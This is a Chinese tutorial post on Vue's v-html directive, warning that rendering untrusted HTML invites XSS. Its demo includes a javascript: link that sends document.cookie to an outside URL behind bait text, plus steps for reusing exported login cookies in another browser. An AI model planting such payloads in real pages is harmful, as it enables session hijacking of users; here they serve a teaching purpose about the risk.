v-html指令总结：

1、作用：向指定节点中渲染包含html结构的内容

2、与插值语法的区别：

（1）v-html 会替换掉节点中所有的内容，{{}}则不会

（2）v-html 可以识别html 结构

3、特别注意：

（1）在网站上动态动态渲染任意HTML是非常危险的，容易导致XSS攻击

（2）一定要在可信的内容上使用v-html，永不要在用户提交的内容上使用

案例分析：

1、在google浏览器和火狐浏览器上安装 Cookie-Editor 插件：http://crx4.com/18460.html

2、在google 浏览器登陆githut 账号 ，使用Cookie-Editor插件将浏览器的Cookie数据导出

3、在火狐浏览器打开githut网站，然后删除Cookie数据，将从google浏览器导出的数据导入到火狐浏览器中，然后刷新页面，会发现火狐浏览器的githut会有登陆后的信息

（1）html

<!DOCTYPE html>

<head>

    <title>v-html</title>

    <script type="text/javascript" src="../js/vue.js"></script>

</head>

<body>

    <div id="root">

        <div v-html="str"></div>

    </div>

</body>

<script type="text/javascript">

    Vue.config.productionTip = false

    new Vue({

        el:"#root",

        data:{

            str:'<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！</a>'

        }

    })

</script>

（2）往页面加cookie数据

（3）点击链接，会将系统的cookie数据传走

链接：https://www.bilibili.com/video/BV1Zy4y1K7SH?p=41&spm_id_from=pageDriver&vd_source=60a28e8364654bee938864b1d19905ec

第41集

Vue的v-html指令说明，含案例的更多相关文章

  1. VUE：内置指令与自定义指令

    VUE:内置指令与自定义指令 常用的内置指令 1)v:text 更新元素的 textContent 2)v-html 更新元素的 innerHTML 3)v-if 如果为true,当前标签才会输出到页 ...

  2. 【Vue】通过自定义指令回顾 v-内置指令

    Vue.js 的各种指令(Directives)更加方便我们去数据驱动 DOM,例如 v-bind.v-on.v-model.v-if.v-for.v-once 等内置指令,这些指令的职责就是当表达式 ...

  3. Vue API(directives) 自定义指令

    前言:除了vue的内置指令以外,我们可以定义自定义指令.内置指令表相见:https://www.cnblogs.com/ilovexiaoming/p/6840383.html 我们定义一个最简单的 ...

  4. vue自定義指令

    自定義指令可以允許代碼複用, 全局自定義指令 vue.directive('指令名',{鉤子函數:指令函數}) 局部自定義指令: vue({ directives:{指令名:{鉤子函數:指令函數} } ...

  5. Vue(四) 内置指令

    现在介绍 Vue.js 中 更多的内置指令 基本指令 v-cloak v-cloak 不需要表达式,它会在 Vue 实例结束编译时从绑定的 HTML 元素上移除,经常和 CSS 的 display: ...

  6. 移动端Tap与滑屏实战技巧总结以及Vue混合开发自定义指令

    最近在忙混合开发,因交互相对复杂,所以也踩了很多坑.在此做一下总结. 1.tap事件的实际应用 在使用tap事件时,老生常谈的肯定是点透问题,大多情况下,在有滑屏交互的页面时,我们会在根节点阻止默认行 ...

  7. vue教程2-07 自定义指令

    vue教程2-07 自定义指令 自定义指令: 一.属性: Vue.directive(指令名称,function(参数){ this.el -> 原生DOM元素 }); <div v-re ...

  8. Vue 框架-07-循环指令 v-for，和模板的使用

    Vue 框架-07-循环指令 v-for,和模板的使用 本章主要是写一些小实例,记录代码,想要更详细的话,请查看 官方文档:https://cn.vuejs.org/v2/guide/#%E6%9D% ...

  9. Vue.js之常用指令

    vue常用指令 vue.js官方给自己的定义是数据模板引擎,并给出了一套渲染数据的指令.本文详细介绍vue.js的常用指令. 官网:点我 一.v-text.v-html v-text:用于绑定文本 v ...

  10. 1.Vue.js的常用指令

      Vue.js介绍 Vue.js是当下很火的一个JavaScript MVVM库,它是以数据驱动和组件化的思想构建的.相比于Angular.js,Vue.js提供了更加简洁.更易于理解的API,使得 ...

随机推荐

  1. 0627.selenium请求库*1

    今日内容: 一 Selenium请求库 一 Selenium请求库 1.什么是selenium? selenium是一个自动测试工具,它可以帮我通过代码 去实现驱动浏览器自动执行相应的操作. 所以我们 ...

  2. shell实现接口初次失败告警，恢复也发送一次通知

    1.该shell判断 第一次失败告警,接口恢复发送一次通知 参数:一个参数接口返回结果0 表示成功 1表示失败 脚本详情 [root@localhost bd]# more bd-new.sh #!/ ...

  3. vue常用插件集合（常用，但一般UI库又不太能满足）

    # v-base-plugins   ``` bash # install  npm i v-base-plugins --save  npm start #引入 import myPlugin fr ...

  4. VUE学习-组件

    组件 组件是可复用的 Vue 实例,且带有一个名字. <div id="components-demo"> <button-counter></but ...

  5. 图片上传 加水印 以及GDI基本画图

      上传图片并给所上传的图片添加水印 1 HttpPostedFile file = Context.Request.Files[0]; //有这个0说明一次只能上传一张 2 if (file.Con ...

  6. 073_SFDC Limit

    我们在开发的过程中,应多注意一些系统自身的限制,以及遇到此类问题的应对措施: Description Synchronous Limit Asynchronous Limit Total number ...

  7. 如何实现chrome谷歌浏览器多开(独立环境 独立cookie)、改任务栏图标

    多开谷歌浏览器: 由于各种各样的原因,你可能需要在一个电脑登录某个平台,比如一个电脑登录3个公众号,或者3个知乎等等. 最简单的方案是,直接安装3个不同的浏览器,比如一个谷歌浏览器,一个火狐浏览器,一 ...

  8. 初学银河麒麟linux笔记 第九章 QEMU安装arm虚拟机

    arm虚拟机无法用vm进行安装,因此需要安装QEMU虚拟机 参考: WIndows下使用Qemu安装Arm版Kylin系统_h1007886499的博客-CSDN博客_windows qemu arm ...

  9. python 通过win32com操作vcf到outlook中，同时解决乱码问题

    之前用的黑莓手机,故障后换了iphone,后来还是想用上黑莓Q10.于是有了该文章. 问题: 如何将iphone上的通讯录导入黑莓? 网上回答1:通过icloud将iphone中的通讯录导入黑莓手机. ...

  10. 使用tkinter开发的一款登录和注册图形化界面

    目录 项目介绍 登录功能 登录界面展示 登录主要功能 登录部分源码 注册功能 注册界面展示 注册主要功能 注册部分源码 源码地址 项目介绍 使用tkinter开发的一款登录和注册图形化界面 使用tki ...